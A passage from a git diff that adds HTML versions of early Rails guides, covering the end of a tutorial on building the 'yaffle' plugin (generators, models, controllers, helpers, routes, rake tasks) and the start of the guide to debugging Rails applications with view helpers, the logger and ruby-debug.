For the generator in this section, the test could look something like this:

+

vendor/plugins/yaffle/test/yaffle_generator_test.rb

+
+
+
require File.dirname(__FILE__) + '/test_helper.rb'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+require 'rails_generator/scripts/destroy'
+
+class GeneratorTest < Test::Unit::TestCase
+
+  def fake_rails_root
+    File.join(File.dirname(__FILE__), 'rails_root')
+  end
+
+  def file_list
+    Dir.glob(File.join(fake_rails_root, "db", "migrate", "*"))
+  end
+
+  def setup
+    FileUtils.mkdir_p(fake_rails_root)
+    @original_files = file_list
+  end
+
+  def teardown
+    FileUtils.rm_r(fake_rails_root)
+  end
+
+  def test_generates_correct_file_name
+    Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
+    new_file = (file_list - @original_files).first
+    assert_match /add_yaffle_fields_to_bird/, new_file
+  end
+
+end
+
+

You can run rake from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.

+

4.2. Adding to the manifest

+

This example will demonstrate how to use one of the built-in generator methods named migration_template to create a migration file. To start, update your generator file to look like this:

+

vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb

+
+
+
class YaffleGenerator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns,
+        :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}"
+      }
+    end
+  end
+
+  private
+    def custom_file_name
+      custom_name = class_name.underscore.downcase
+      custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
+    end
+
+    def yaffle_local_assigns
+      returning(assigns = {}) do
+        assigns[:migration_action] = "add"
+        assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}"
+        assigns[:table_name] = custom_file_name
+        assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")]
+      end
+    end
+end
+
+

The generator creates a new file in db/migrate with a timestamp and an add_column statement. It reuses the built in rails migration_template method, and reuses the built-in rails migration template.

+

It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off.

+

4.3. Manually test the generator

+

To run the generator, type the following at the command line:

+
+
+
./script/generate yaffle bird
+
+

and you will see a new file:

+

db/migrate/20080529225649_add_yaffle_fields_to_birds.rb

+
+
+
class AddYaffleFieldsToBirds < ActiveRecord::Migration
+  def self.up
+    add_column :birds, :last_squawk, :string
+  end
+
+  def self.down
+    remove_column :birds, :last_squawk
+  end
+end
+
+

4.4. The USAGE file

+

Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line:

+
+
+
script/generate
+
+

You should see something like this:

+
+
+
Installed Generators
+  Plugins (vendor/plugins): yaffle
+  Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
+
+

When you run script/generate yaffle you should see the contents of your vendor/plugins/yaffle/generators/yaffle/USAGE file.

+

For this plugin, update the USAGE file looks like this:

+
+
+
Description:
+    Creates a migration that adds yaffle squawk fields to the given model
+
+Example:
+    ./script/generate yaffle hickwall
+
+    This will create:
+        db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall
+
+
+

5. Add a custom generator command

+
+

You may have noticed above that you can used one of the built-in rails migration commands migration_template. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.

+

This section describes how you you can create your own commands to add and remove a line of text from routes.rb. This example creates a very simple method that adds or removes a text file.

+

To start, add the following test method:

+

vendor/plugins/yaffle/test/generator_test.rb

+
+
+
def test_generates_definition
+  Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
+  definition = File.read(File.join(fake_rails_root, "definition.txt"))
+  assert_match /Yaffle\:/, definition
+end
+
+

Run rake to watch the test fail, then make the test pass add the following:

+

vendor/plugins/yaffle/generators/yaffle/templates/definition.txt

+
+
+
Yaffle: A bird
+
+

vendor/plugins/yaffle/lib/yaffle.rb

+
+
+
require "yaffle/commands"
+
+

vendor/plugins/yaffle/lib/commands.rb

+
+
+
require 'rails_generator'
+require 'rails_generator/commands'
+
+module Yaffle #:nodoc:
+  module Generator #:nodoc:
+    module Commands #:nodoc:
+      module Create
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+
+      module Destroy
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+
+      module List
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+
+      module Update
+        def yaffle_definition
+          file("definition.txt", "definition.txt")
+        end
+      end
+    end
+  end
+end
+
+Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
+Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
+Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
+Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
+
+

Finally, call your new method in the manifest:

+

vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb

+
+
+
class YaffleGenerator < Rails::Generator::NamedBase
+  def manifest
+    m.yaffle_definition
+  end
+end
+
+
+

6. Add a model

+
+

This section describes how to add a model named Woodpecker to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this:

+
+
+
vendor/plugins/yaffle/
+|-- lib
+|   |-- app
+|   |   |-- controllers
+|   |   |-- helpers
+|   |   |-- models
+|   |   |   `-- woodpecker.rb
+|   |   `-- views
+|   |-- yaffle
+|   |   |-- acts_as_yaffle.rb
+|   |   |-- commands.rb
+|   |   `-- core_ext.rb
+|   `-- yaffle.rb
+
+

As always, start with a test:

+

vendor/plugins/yaffle/yaffle/woodpecker_test.rb:

+
+
+
require File.dirname(__FILE__) + '/test_helper.rb'
+
+class WoodpeckerTest < Test::Unit::TestCase
+  load_schema
+
+  def test_woodpecker
+    assert_kind_of Woodpecker, Woodpecker.new
+  end
+end
+
+

This is just a simple test to make sure the class is being loaded correctly. After watching it fail with rake, you can make it pass like so:

+

vendor/plugins/yaffle/lib/yaffle.rb:

+
+
+
%w{ models }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+
+

Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the load_once_paths allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin.

+

vendor/plugins/yaffle/lib/app/models/woodpecker.rb:

+
+
+
class Woodpecker < ActiveRecord::Base
+end
+
+

Finally, add the following to your plugin's schema.rb:

+

vendor/plugins/yaffle/test/schema.rb:

+
+
+
ActiveRecord::Schema.define(:version => 0) do
+  create_table :woodpeckers, :force => true do |t|
+    t.string :name
+  end
+end
+
+

Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.

+
+

7. Add a controller

+
+

This section describes how to add a controller named woodpeckers to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model.

+

You can test your plugin's controller as you would test any other controller:

+

vendor/plugins/yaffle/yaffle/woodpeckers_controller_test.rb:

+
+
+
require File.dirname(__FILE__) + '/test_helper.rb'
+require 'woodpeckers_controller'
+require 'action_controller/test_process'
+
+class WoodpeckersController; def rescue_action(e) raise e end; end
+
+class WoodpeckersControllerTest < Test::Unit::TestCase
+  def setup
+    @controller = WoodpeckersController.new
+    @request = ActionController::TestRequest.new
+    @response = ActionController::TestResponse.new
+  end
+
+  def test_index
+    get :index
+    assert_response :success
+  end
+end
+
+

This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with rake, you can make it pass like so:

+

vendor/plugins/yaffle/lib/yaffle.rb:

+
+
+
%w{ models controllers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+
+

vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:

+
+
+
class WoodpeckersController < ActionController::Base
+
+  def index
+    render :text => "Squawk!"
+  end
+
+end
+
+

Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.

+
+

8. Add a helper

+
+

This section describes how to add a helper named WoodpeckersHelper to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller.

+

You can test your plugin's helper as you would test any other helper:

+

vendor/plugins/yaffle/test/woodpeckers_helper_test.rb

+
+
+
require File.dirname(__FILE__) + '/test_helper.rb'
+include WoodpeckersHelper
+
+class WoodpeckersHelperTest < Test::Unit::TestCase
+  def test_tweet
+    assert_equal "Tweet! Hello", tweet("Hello")
+  end
+end
+
+

This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with rake, you can make it pass like so:

+

vendor/plugins/yaffle/lib/yaffle.rb:

+
+
+
%w{ models controllers helpers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+
+ActionView::Base.send :include, WoodpeckersHelper
+
+

vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:

+
+
+
module WoodpeckersHelper
+
+  def tweet(text)
+    "Tweet! #{text}"
+  end
+
+end
+
+

Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.

+
+

9. Add a Custom Route

+
+

Testing routes in plugins can be complex, especially if the controllers are also in the plugin itself. Jamis Buck showed a great example of this in http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2.

+

vendor/plugins/yaffle/test/routing_test.rb

+
+
+
require "#{File.dirname(__FILE__)}/test_helper"
+
+class RoutingTest < Test::Unit::TestCase
+
+  def setup
+    ActionController::Routing::Routes.draw do |map|
+      map.yaffles
+    end
+  end
+
+  def test_yaffles_route
+    assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index"
+  end
+
+  private
+
+    # yes, I know about assert_recognizes, but it has proven problematic to
+    # use in these tests, since it uses RouteSet#recognize (which actually
+    # tries to instantiate the controller) and because it uses an awkward
+    # parameter order.
+    def assert_recognition(method, path, options)
+      result = ActionController::Routing::Routes.recognize_path(path, :method => method)
+      assert_equal options, result
+    end
+end
+
+

vendor/plugins/yaffle/init.rb

+
+
+
require "routing"
+ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
+
+

vendor/plugins/yaffle/lib/routing.rb

+
+
+
module Yaffle #:nodoc:
+  module Routing #:nodoc:
+    module MapperExtensions
+      def yaffles
+        @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"})
+      end
+    end
+  end
+end
+
+

config/routes.rb

+
+
+
ActionController::Routing::Routes.draw do |map|
+  ...
+  map.yaffles
+end
+
+

You can also see if your routes work by running rake routes from your app directory.

+
+

10. Odds and ends

+
+

10.1. Generate RDoc Documentation

+

Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.

+

The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:

+
    +
  • +

    +Your name. +

    +
  • +
  • +

    +How to install. +

    +
  • +
  • +

    +How to add the functionality to the app (several examples of common use cases). +

    +
  • +
  • +

    +Warning, gotchas or tips that might help save users time. +

    +
  • +
+

Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.

+

Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users.

+

Once your comments are good to go, navigate to your plugin directory and run:

+
+
+
rake rdoc
+
+

10.2. Write custom Rake tasks in your plugin

+

When you created the plugin with the built-in rails generator, it generated a rake file for you in vendor/plugins/yaffle/tasks/yaffle.rake. Any rake task you add here will be available to the app.

+

Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:

+

vendor/plugins/yaffle/tasks/yaffle.rake

+
+
+
namespace :yaffle do
+  desc "Prints out the word 'Yaffle'"
+  task :squawk => :environment do
+    puts "squawk!"
+  end
+end
+
+

When you run rake -T from your plugin you will see:

+
+
+
yaffle:squawk             # Prints out the word 'Yaffle'
+
+

You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.

+

10.3. Store plugins in alternate locations

+

You can store plugins wherever you want - you just have to add those plugins to the plugins path in environment.rb.

+

Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now.

+

You can even store plugins inside of other plugins for complete plugin madness!

+
+
+
config.plugin_paths << File.join(RAILS_ROOT,"vendor","plugins","yaffle","lib","plugins")
+
+

10.4. Create your own Plugin Loaders and Plugin Locators

+

If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process. You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial.

+

10.5. Use Custom Plugin Generators

+

If you are an RSpec fan, you can install the rspec_plugin_generator gem, which will generate the spec folder and database for you. See http://github.com/pat-maddox/rspec-plugin-generator/tree/master.

+
+

11. Appendix

+
+

11.1. References

+ +

11.2. Final plugin directory structure

+

The final plugin should have a directory structure that looks something like this:

+
+
+
  |-- MIT-LICENSE
+  |-- README
+  |-- Rakefile
+  |-- generators
+  |   `-- yaffle
+  |       |-- USAGE
+  |       |-- templates
+  |       |   `-- definition.txt
+  |       `-- yaffle_generator.rb
+  |-- init.rb
+  |-- install.rb
+  |-- lib
+  |   |-- acts_as_yaffle.rb
+  |   |-- commands.rb
+  |   |-- core_ext.rb
+  |   |-- routing.rb
+  |   `-- view_helpers.rb
+  |-- tasks
+  |   `-- yaffle_tasks.rake
+  |-- test
+  |   |-- acts_as_yaffle_test.rb
+  |   |-- core_ext_test.rb
+  |   |-- database.yml
+  |   |-- debug.log
+  |   |-- routing_test.rb
+  |   |-- schema.rb
+  |   |-- test_helper.rb
+  |   `-- view_helpers_test.rb
+  |-- uninstall.rb
+  `-- yaffle_plugin.sqlite3.db
+
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/debugging_rails_applications.html b/vendor/rails/railties/doc/guides/html/debugging_rails_applications.html new file mode 100644 index 00000000..63c6df78 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/debugging_rails_applications.html @@ -0,0 +1,1175 @@ + + + + + Debugging Rails Applications + + + + + + + + + +
+ + + +
+

Debugging Rails Applications

+
+
+

This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:

+
    +
  • +

    +Understand the purpose of debugging +

    +
  • +
  • +

    +Track down problems and issues in your application that your tests aren't identifying +

    +
  • +
  • +

    +Learn the different ways of debugging +

    +
  • +
  • +

    +Analyze the stack trace +

    +
  • +
+
+
+

1. View Helpers for Debugging

+
+

One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:

+
    +
  • +

    +debug +

    +
  • +
  • +

    +to_yaml +

    +
  • +
  • +

    +inspect +

    +
  • +
+

1.1. debug

+

The debug helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:

+
+
+
<%= debug @post %>
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+
+

You'll see something like this:

+
+
+
--- !ruby/object:Post
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: "1"
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+
+

1.2. to_yaml

+

Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:

+
+
+
<%= simple_format @post.to_yaml %>
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+
+

The to_yaml method converts the method to YAML format leaving it more readable, and then the simple_format helper is used to render each line as in the console. This is how debug method does its magic.

+

As a result of this, you will have something like this in your view:

+
+
+
--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+
+

1.3. inspect

+

Another useful method for displaying object values is inspect, especially when working with arrays or hashes. This will print the object value as a string. For example:

+
+
+
<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+
+

Will be rendered as follows:

+
+
+
[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+
+

1.4. Debugging Javascript

+

Rails has built-in support to debug RJS, to active it, set ActionView::Base.debug_rjs to true, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).

+

To enable it, add the following in the Rails::Initializer do |config| block inside environment.rb:

+
+
+
config.action_view[:debug_rjs] = true
+
+

Or, at any time, setting ActionView::Base.debug_rjs to true:

+
+
+
ActionView::Base.debug_rjs = true
+
+
+ + + +
+Tip +For more information on debugging javascript refer to Firebug, the popular debugger for Firefox.
+
+
+

2. The Logger

+
+

It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.

+

2.1. What is The Logger?

+

Rails makes use of Ruby's standard logger to write log information. You can also substitute another logger such as Log4R if you wish.

+

You can specify an alternative logger in your environment.rb or any environment file:

+
+
+
ActiveRecord::Base.logger = Logger.new(STDOUT)
+ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
+
+

Or in the Initializer section, add any of the following

+
+
+
config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+
+
+ + + +
+Tip +By default, each log is created under RAILS_ROOT/log/ and the log file name is environment_name.log.
+
+

2.2. Log Levels

+

When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the ActiveRecord::Base.logger.level method.

+

The available log levels are: :debug, :info, :warn, :error, and :fatal, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use

+
+
+
config.log_level = Logger::WARN # In any environment initializer, or
+ActiveRecord::Base.logger.level = 0 # at any time
+
+

This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.

+
+ + + +
+Tip +The default Rails log level is info in production mode and debug in development and test mode.
+
+

2.3. Sending Messages

+

To write in the current log use the logger.(debug|info|warn|error|fatal) method from within a controller, model or mailer:

+
+
+
logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+
+

Here's an example of a method instrumented with extra logging:

+
+
+
class PostsController < ApplicationController
+  # ...
+
+  def create
+    @post = Post.new(params[:post])
+    logger.debug "New post: #{@post.attributes.inspect}"
+    logger.debug "Post should be valid: #{@post.valid?}"
+
+    if @post.save
+      flash[:notice] = 'Post was successfully created.'
+      logger.debug "The post was saved and now is the user is going to be redirected..."
+      redirect_to(@post)
+    else
+      render :action => "new"
+    end
+  end
+
+  # ...
+end
+
+

Here's an example of the log generated by this method:

+
+
+
Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now is the user is going to be redirected...
+Redirected to #<Post:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+
+

Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.

+
+

3. Debugging with ruby-debug

+
+

When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.

+

The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.

+

3.1. Setup

+

The debugger used by Rails, ruby-debug, comes as a gem. To install it, just run:

+
+
+
$ sudo gem install ruby-debug
+
+

In case you want to download a particular version or get the source code, refer to the project's page on rubyforge.

+

Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the debugger method.

+

Here's an example:

+
+
+
class PeopleController < ApplicationController
+  def new
+    debugger
+    @person = Person.new
+  end
+end
+
+

If you see the message in the console or logs:

+
+
+
***** Debugger requested, but was not available: Start server with --debugger to enable *****
+
+

Make sure you have started your web server with the option —debugger:

+
+
+
~/PathTo/rails_project$ script/server --debugger
+=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
+=> Rails 2.2.0 application starting on http://0.0.0.0:3000
+=> Debugger enabled
+...
+
+
+ + + +
+Tip +In development mode, you can dynamically require 'ruby-debug' instead of restarting the server, if it was started without —debugger.
+
+

In order to use Rails debugging you'll need to be running either WEBrick or Mongrel. For the moment, no alternative servers are supported.

+

3.2. The Shell

+

As soon as your application calls the debugger method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt (rdb:n). The n is the thread number. The prompt will also show you the next line of code that is waiting to run.

+

If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.

+

For example:

+
+
+
@posts = Post.find(:all)
+(rdb:7)
+
+

Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help… so type: help (You didn't see that coming, right?)

+
+
+
(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help <command-name>' for help on a specific command
+
+Available commands:
+backtrace  delete   enable  help    next  quit     show    trace
+break      disable  eval    info    p     reload   source  undisplay
+catch      display  exit    irb     pp    restart  step    up
+condition  down     finish  list    ps    save     thread  var
+continue   edit     frame   method  putl  set      tmate   where
+
+
+ + + +
+Tip +To view the help menu for any command use help <command-name> in active debug mode. For example: help var
+
+

The next command to learn is one of the most useful: list. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use l for the list command.

+

This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by .

+
+
+
(rdb:7) list
+[1, 10] in /PathToProject/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.xml
+   4    def index
+   5      debugger
+=> 6      @posts = Post.find(:all)
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.xml  { render :xml => @posts }
+
+

If you repeat the list command, this time using just l, the next ten lines of the file will be printed out.

+
+
+
(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+   11      end
+   12    end
+   13
+   14    # GET /posts/1
+   15    # GET /posts/1.xml
+   16    def show
+   17      @post = Post.find(params[:id])
+   18
+   19      respond_to do |format|
+   20        format.html # show.html.erb
+
+

And so on until the end of the current file. When the end of file is reached, the list command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.

+

3.3. The Context

+

When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.

+

ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.

+

At any time you can call the backtrace command (or its alias where) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then backtrace will supply the answer.

+
+
+
(rdb:5) where
+    #0 PostsController.index
+       at line /PathTo/project/app/controllers/posts_controller.rb:6
+    #1 Kernel.send
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+
+

You move anywhere you want in this trace (thus changing the context) by using the frame n command, where n is the specified frame number.

+
+
+
(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+
+

The available variables are the same as if you were running the code line by line. After all, that's what debugging is.

+

Moving up and down the stack frame: You can use up [n] (u for abbreviated) and down [n] commands in order to change the context n frames up or down the stack respectively. n defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.

+

3.4. Threads

+

The debugger can list, stop, resume and switch between running threads by using the command thread (or the abbreviated th). This command has a handful of options:

+
    +
  • +

    +thread shows the current thread. +

    +
  • +
  • +

    +thread list is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. +

    +
  • +
  • +

    +thread stop n stop thread n. +

    +
  • +
  • +

    +thread resume n resumes thread n. +

    +
  • +
  • +

    +thread switch n switches the current thread context to n. +

    +
  • +
+

This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.

+

3.5. Inspecting Variables

+

Any expression can be evaluated in the current context. To evaluate an expression, just type it!

+

This example shows how you can print the instance_variables defined within the current context:

+
+
+
@posts = Post.find(:all)
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
+
+

As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using next (you'll learn more about this command later in this guide).

+
+
+
(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+  Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
+
+

And then ask again for the instance_variables:

+
+
+
(rdb:11) instance_variables.include? "@posts"
+true
+
+

Now @posts is a included in the instance variables, because the line defining it was executed.

+
+ + + +
+Tip +You can also step into irb mode with the command irb (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+
+

The var method is the most convenient way to show variables and their values:

+
+
+
var
+(rdb:1) v[ar] const <object>            show constants of object
+(rdb:1) v[ar] g[lobal]                  show global variables
+(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
+(rdb:1) v[ar] l[ocal]                   show local variables
+
+

This is a great way to inspect the values of the current context variables. For example:

+
+
+
(rdb:9) var local
+  __dbg_verbose_save => false
+
+

You can also inspect for an object method this way:

+
+
+
(rdb:9) var instance Post.new
+@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+@attributes_cache = {}
+@new_record = true
+
+
+ + + +
+Tip +The commands p (print) and pp (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+
+

You can use also display to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.

+
+
+
(rdb:1) display @recent_comments
+1: @recent_comments =
+
+

The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use undisplay n where n is the variable number (1 in the last example).

+

3.6. Step by Step

+

Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.

+

Use step (abbreviated s) to continue running your program until the next logical stopping point and return control to ruby-debug.

+
+ + + +
+Tip +You can also use step+ n and step- n to move forward or backward n steps respectively.
+
+

You may also use next which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move n steps.

+

The difference between next and step is that step stops at the next line of code executed, doing just a single step, while next moves to the next line without descending inside methods.

+

For example, consider this block of code with an included debugger statement:

+
+
+
class Author < ActiveRecord::Base
+  has_one :editorial
+  has_many :comments
+
+  def find_recent_comments(limit = 10)
+    debugger
+    @recent_comments ||= comments.find(
+      :all,
+      :conditions => ["created_at > ?", 1.week.ago],
+      :limit => limit
+    )
+  end
+end
+
+
+ + + +
+Tip +You can use ruby-debug while using script/console. Just remember to require "ruby-debug" before calling the debugger method.
+
+
+
+
/PathTo/project $ script/console
+Loading development environment (Rails 2.1.0)
+>> require "ruby-debug"
+=> []
+>> author = Author.first
+=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
+>> author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)
+
+

With the code stopped, take a look around:

+
+
+
(rdb:1) list
+[6, 15] in /PathTo/project/app/models/author.rb
+   6      debugger
+   7      @recent_comments ||= comments.find(
+   8        :all,
+   9        :conditions => ["created_at > ?", 1.week.ago],
+   10        :limit => limit
+=> 11      )
+   12    end
+   13  end
+
+

You are at the end of the line, but… was this line executed? You can inspect the instance variables.

+
+
+
(rdb:1) var instance
+@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+@attributes_cache = {}
+
+

